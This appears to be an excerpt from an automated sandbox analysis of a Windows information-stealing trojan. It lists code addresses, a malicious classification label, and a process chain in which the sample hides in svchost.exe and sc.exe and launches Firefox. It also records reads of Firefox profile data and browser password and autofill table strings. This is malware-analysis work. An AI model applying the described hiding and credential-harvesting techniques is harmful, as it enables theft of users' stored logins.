                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_006AE75F2_2_006AE75F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_006AE7572_2_006AE757
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_006A27D02_2_006A27D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0314E3102_2_0314E310
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0320010E2_2_0320010E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031EE0762_2_031EE076
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031300A02_2_031300A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031F67572_2_031F6757
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0314A7602_2_0314A760
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031427602_2_03142760
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0315C6002_2_0315C600
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031646702_2_03164670
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031406802_2_03140680
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031FA6C02_2_031FA6C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0313C6E02_2_0313C6E0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0320A5262_2_0320A526
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031404452_2_03140445
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03140B102_2_03140B10
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031B4BC02_2_031B4BC0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031FCA132_2_031FCA13
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031FEA5B2_2_031FEA5B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0313E9A02_2_0313E9A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031FE9A62_2_031FE9A6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0316E8102_2_0316E810
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031E08352_2_031E0835
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031268682_2_03126868
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031DC89F2_2_031DC89F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031568822_2_03156882
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031428C02_2_031428C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0314CF002_2_0314CF00
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031FEFBF2_2_031FEFBF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03146FE02_2_03146FE0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03160E502_2_03160E50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03182E482_2_03182E48
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031E0E6D2_2_031E0E6D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031F0EAD2_2_031F0EAD
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03132EE82_2_03132EE8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0313AD002_2_0313AD00
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03140D692_2_03140D69
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03152DB02_2_03152DB0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03130C122_2_03130C12
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0314AC202_2_0314AC20
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031BEC202_2_031BEC20
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031EEC4C2_2_031EEC4C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031F6C692_2_031F6C69
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031FEC602_2_031FEC60
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03158CDF2_2_03158CDF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0320ACEB2_2_0320ACEB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031FF3302_2_031FF330
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031313802_2_03131380
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031F124C2_2_031F124C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0312D2EC2_2_0312D2EC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0312F1132_2_0312F113
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031DD1302_2_031DD130
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0318717A2_2_0318717A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031451C02_2_031451C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0315B1E02_2_0315B1E0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0317508C2_2_0317508C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0314B0D02_2_0314B0D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031F70F12_2_031F70F1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031DD62C2_2_031DD62C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031ED6462_2_031ED646
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031FF6F62_2_031FF6F6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031B36EC2_2_031B36EC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031FF5C92_2_031FF5C9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031F75C62_2_031F75C6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031D54902_2_031D5490
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031AD4802_2_031AD480
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0317DB192_2_0317DB19
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031FFB2E2_2_031FFB2E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031D1B802_2_031D1B80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031FFA892_2_031FFA89
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0315FAA02_2_0315FAA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031859C02_2_031859C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031438002_2_03143800
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031498702_2_03149870
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0315B8702_2_0315B870
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031B58702_2_031B5870
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031FF8722_2_031FF872
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031B98B22_2_031B98B2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031F18DA2_2_031F18DA
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031F78F32_2_031F78F3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031BFF402_2_031BFF40
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031FFF632_2_031FFF63
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031F1FC62_2_031F1FC6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03141EB22_2_03141EB2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031F9ED22_2_031F9ED2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031FFD272_2_031FFD27
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031F7D4C2_2_031F7D4C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03149DD02_2_03149DD0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031DFDF42_2_031DFDF4
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03143C602_2_03143C60
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031D9C982_2_031D9C98
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031C7CE82_2_031C7CE8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0315FCE02_2_0315FCE0
                Source: C:\Program Files (x86)\RHzHlWTZuuRgPSvgURzqeTaqddtFmYdjaQLpHVRJOLoZFkYaYwamGwzHilfwOJmiUmyenamMFPXCB\aTYBQVHvJYFlI.exeCode function: 3_2_045394073_2_04539407
                Source: C:\Program Files (x86)\RHzHlWTZuuRgPSvgURzqeTaqddtFmYdjaQLpHVRJOLoZFkYaYwamGwzHilfwOJmiUmyenamMFPXCB\aTYBQVHvJYFlI.exeCode function: 3_2_045375433_2_04537543
                Source: C:\Program Files (x86)\RHzHlWTZuuRgPSvgURzqeTaqddtFmYdjaQLpHVRJOLoZFkYaYwamGwzHilfwOJmiUmyenamMFPXCB\aTYBQVHvJYFlI.exeCode function: 3_2_045375473_2_04537547
                Source: C:\Program Files (x86)\RHzHlWTZuuRgPSvgURzqeTaqddtFmYdjaQLpHVRJOLoZFkYaYwamGwzHilfwOJmiUmyenamMFPXCB\aTYBQVHvJYFlI.exeCode function: 3_2_0453753B3_2_0453753B
                Source: C:\Program Files (x86)\RHzHlWTZuuRgPSvgURzqeTaqddtFmYdjaQLpHVRJOLoZFkYaYwamGwzHilfwOJmiUmyenamMFPXCB\aTYBQVHvJYFlI.exeCode function: 3_2_045391E73_2_045391E7
                Source: C:\Program Files (x86)\RHzHlWTZuuRgPSvgURzqeTaqddtFmYdjaQLpHVRJOLoZFkYaYwamGwzHilfwOJmiUmyenamMFPXCB\aTYBQVHvJYFlI.exeCode function: 3_2_045581A73_2_045581A7
                Source: C:\Program Files (x86)\RHzHlWTZuuRgPSvgURzqeTaqddtFmYdjaQLpHVRJOLoZFkYaYwamGwzHilfwOJmiUmyenamMFPXCB\aTYBQVHvJYFlI.exeCode function: 3_2_0453FBF73_2_0453FBF7
                Source: C:\Program Files (x86)\RHzHlWTZuuRgPSvgURzqeTaqddtFmYdjaQLpHVRJOLoZFkYaYwamGwzHilfwOJmiUmyenamMFPXCB\aTYBQVHvJYFlI.exeCode function: 3_2_045373F73_2_045373F7
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_0352E3104_2_0352E310
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_034E22454_2_034E2245
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_035E010E4_2_035E010E
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_035CE0764_2_035CE076
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_035100A04_2_035100A0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_035D67574_2_035D6757
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_035227604_2_03522760
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_0352A7604_2_0352A760
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_035446704_2_03544670
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_0353C6004_2_0353C600
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_035DA6C04_2_035DA6C0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_0351C6E04_2_0351C6E0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_035206804_2_03520680
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_035EA5264_2_035EA526
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_035204454_2_03520445
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_03520B104_2_03520B10
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_03594BC04_2_03594BC0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_035DEA5B4_2_035DEA5B
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_035DCA134_2_035DCA13
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_0351E9A04_2_0351E9A0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_035DE9A64_2_035DE9A6
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_035068684_2_03506868
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_0354E8104_2_0354E810
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_035C08354_2_035C0835
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_035228C04_2_035228C0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_035368824_2_03536882
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_0352CF004_2_0352CF00
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_03526FE04_2_03526FE0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_035DEFBF4_2_035DEFBF
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_03540E504_2_03540E50
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_03562E484_2_03562E48
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_035C0E6D4_2_035C0E6D
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_03512EE84_2_03512EE8
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_035D0EAD4_2_035D0EAD
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_03520D694_2_03520D69
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_0351AD004_2_0351AD00
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_03532DB04_2_03532DB0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_035CEC4C4_2_035CEC4C
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_035D6C694_2_035D6C69
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_035DEC604_2_035DEC60
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_03510C124_2_03510C12
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_0352AC204_2_0352AC20
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_0359EC204_2_0359EC20
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_03538CDF4_2_03538CDF
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_035EACEB4_2_035EACEB
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_035DF3304_2_035DF330
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_035113804_2_03511380
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_035D124C4_2_035D124C
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_0350D2EC4_2_0350D2EC
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_0356717A4_2_0356717A
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_0350F1134_2_0350F113
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_035BD1304_2_035BD130
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_035251C04_2_035251C0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_0353B1E04_2_0353B1E0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_0352B0D04_2_0352B0D0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_035D70F14_2_035D70F1
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_0355508C4_2_0355508C
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_035CD6464_2_035CD646
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_035BD62C4_2_035BD62C
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_035DF6F64_2_035DF6F6
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_035936EC4_2_035936EC
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_035DF5C94_2_035DF5C9
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_035D75C64_2_035D75C6
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_035B54904_2_035B5490
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_0358D4804_2_0358D480
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_0355DB194_2_0355DB19
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_035DFB2E4_2_035DFB2E
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_035B1B804_2_035B1B80
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_035DFA894_2_035DFA89
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_0353FAA04_2_0353FAA0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_035659C04_2_035659C0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_034E99E84_2_034E99E8
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_035298704_2_03529870
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_0353B8704_2_0353B870
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_035958704_2_03595870
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_035DF8724_2_035DF872
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_035238004_2_03523800
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_035D18DA4_2_035D18DA
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_035D78F34_2_035D78F3
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_035998B24_2_035998B2
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_0359FF404_2_0359FF40
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_035DFF634_2_035DFF63
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_035D1FC64_2_035D1FC6
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_035D9ED24_2_035D9ED2
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_03521EB24_2_03521EB2
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_035D7D4C4_2_035D7D4C
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_035DFD274_2_035DFD27
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_03529DD04_2_03529DD0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_035BFDF44_2_035BFDF4
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_03523C604_2_03523C60
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_035A7CE84_2_035A7CE8
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_0353FCE04_2_0353FCE0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_035B9C984_2_035B9C98
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_02CF21104_2_02CF2110
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_02CEB31C4_2_02CEB31C
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_02CEB3144_2_02CEB314
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_02CEB3204_2_02CEB320
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_02CEB1D04_2_02CEB1D0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_02CED1E04_2_02CED1E0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_02CF57D04_2_02CF57D0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_02CF39D04_2_02CF39D0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_02CECFC04_2_02CECFC0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_02D0BF804_2_02D0BF80
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_0331E5634_2_0331E563
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_0331E4484_2_0331E448
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_0331D9C84_2_0331D9C8
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_0331E8FD4_2_0331E8FD
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_0331CC734_2_0331CC73
                Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 031BEF10 appears 105 times
                Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 03175050 appears 58 times
                Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 031AE692 appears 86 times
                Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 03187BE4 appears 101 times
                Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 0312B910 appears 275 times
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: String function: 00510AE3 appears 70 times
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: String function: 004F7DE1 appears 36 times
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: String function: 00518900 appears 42 times
                Source: C:\Windows\SysWOW64\sc.exeCode function: String function: 03567BE4 appears 99 times
                Source: C:\Windows\SysWOW64\sc.exeCode function: String function: 0359EF10 appears 105 times
                Source: C:\Windows\SysWOW64\sc.exeCode function: String function: 0350B910 appears 275 times
                Source: C:\Windows\SysWOW64\sc.exeCode function: String function: 03555050 appears 48 times
                Source: C:\Windows\SysWOW64\sc.exeCode function: String function: 0358E692 appears 86 times
                Source: lKvXJ7VVCK.exe, 00000000.00000003.59695593989.0000000003E9D000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs lKvXJ7VVCK.exe
                Source: lKvXJ7VVCK.exe, 00000000.00000003.59697688952.0000000003D43000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs lKvXJ7VVCK.exe
                Source: lKvXJ7VVCK.exeStatic PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
                Source: classification engineClassification label: mal100.troj.spyw.evad.winEXE@7/3@6/4
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_0055A06A GetLastError,FormatMessageW,0_2_0055A06A
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_005481CB AdjustTokenPrivileges,CloseHandle,0_2_005481CB
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_005487E1 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,0_2_005487E1
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_0055B333 SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,0_2_0055B333
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_0056EE0D CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,0_2_0056EE0D
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_0055C397 CoInitialize,CoCreateInstance,CoUninitialize,0_2_0055C397
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_004F4E89 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,0_2_004F4E89
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeFile created: C:\Users\user\AppData\Local\Temp\autB720.tmpJump to behavior
                Source: lKvXJ7VVCK.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                Source: C:\Program Files\Mozilla Firefox\firefox.exeFile read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.iniJump to behavior
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
                Source: sc.exe, 00000004.00000003.60442042588.0000000007F80000.00000004.00000020.00020000.00000000.sdmp, sc.exe, 00000004.00000002.60946576863.0000000007F8A000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: CREATE TABLE benefit_merchant_domains (benefit_id VARCHAR NOT NULL, merchant_domain VARCHAR NOT NULL)U;
                Source: sc.exe, 00000004.00000003.60437212053.0000000003006000.00000004.00000020.00020000.00000000.sdmp, sc.exe, 00000004.00000002.60939755365.0000000003026000.00000004.00000020.00020000.00000000.sdmp, sc.exe, 00000004.00000003.60437212053.0000000003026000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
                Source: sc.exe, 00000004.00000002.60939755365.0000000003085000.00000004.00000020.00020000.00000000.sdmp, sc.exe, 00000004.00000002.60946576863.0000000007FE1000.00000004.00000020.00020000.00000000.sdmp, 04j58b6g.4.drBinary or memory string: CREATE TABLE "autofill_profile_edge_extended" ( guid VARCHAR PRIMARY KEY, date_of_birth_day VARCHAR, date_of_birth_month VARCHAR, date_of_birth_year VARCHAR, source INTEGER NOT NULL DEFAULT 0, source_id VARCHAR)[;
                Source: lKvXJ7VVCK.exeReversingLabs: Detection: 23%
                Source: unknownProcess created: C:\Users\user\Desktop\lKvXJ7VVCK.exe "C:\Users\user\Desktop\lKvXJ7VVCK.exe"
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeProcess created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\lKvXJ7VVCK.exe"
                Source: C:\Program Files (x86)\RHzHlWTZuuRgPSvgURzqeTaqddtFmYdjaQLpHVRJOLoZFkYaYwamGwzHilfwOJmiUmyenamMFPXCB\aTYBQVHvJYFlI.exeProcess created: C:\Windows\SysWOW64\sc.exe "C:\Windows\SysWOW64\sc.exe"
                Source: C:\Windows\SysWOW64\sc.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeProcess created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\lKvXJ7VVCK.exe"Jump to behavior
                Source: C:\Program Files (x86)\RHzHlWTZuuRgPSvgURzqeTaqddtFmYdjaQLpHVRJOLoZFkYaYwamGwzHilfwOJmiUmyenamMFPXCB\aTYBQVHvJYFlI.exeProcess created: C:\Windows\SysWOW64\sc.exe "C:\Windows\SysWOW64\sc.exe"Jump to behavior
                Source: C:\Windows\SysWOW64\sc.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"Jump to behavior
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeSection loaded: wsock32.dllJump to behavior
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeSection loaded: version.dllJump to behavior
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeSection loaded: winmm.dllJump to behavior
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeSection loaded: mpr.dllJump to behavior
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeSection loaded: wininet.dllJump to behavior
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeSection loaded: iphlpapi.dllJump to behavior
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeSection loaded: userenv.dllJump to behavior
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeSection loaded: uxtheme.dllJump to behavior
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeSection loaded: edgegdi.dllJump to behavior
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeSection loaded: kernel.appcore.dllJump to behavior
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeSection loaded: windows.storage.dllJump to behavior
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeSection loaded: wldp.dllJump to behavior
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeSection loaded: ntmarta.dllJump to behavior
                Source: C:\Windows\SysWOW64\svchost.exeSection loaded: edgegdi.dllJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeSection loaded: wininet.dllJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeSection loaded: edgegdi.dllJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeSection loaded: kernel.appcore.dllJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeSection loaded: uxtheme.dllJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeSection loaded: ieframe.dllJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeSection loaded: iertutil.dllJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeSection loaded: netapi32.dllJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeSection loaded: version.dllJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeSection loaded: userenv.dllJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeSection loaded: winhttp.dllJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeSection loaded: wkscli.dllJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeSection loaded: netutils.dllJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeSection loaded: sspicli.dllJump to behavior
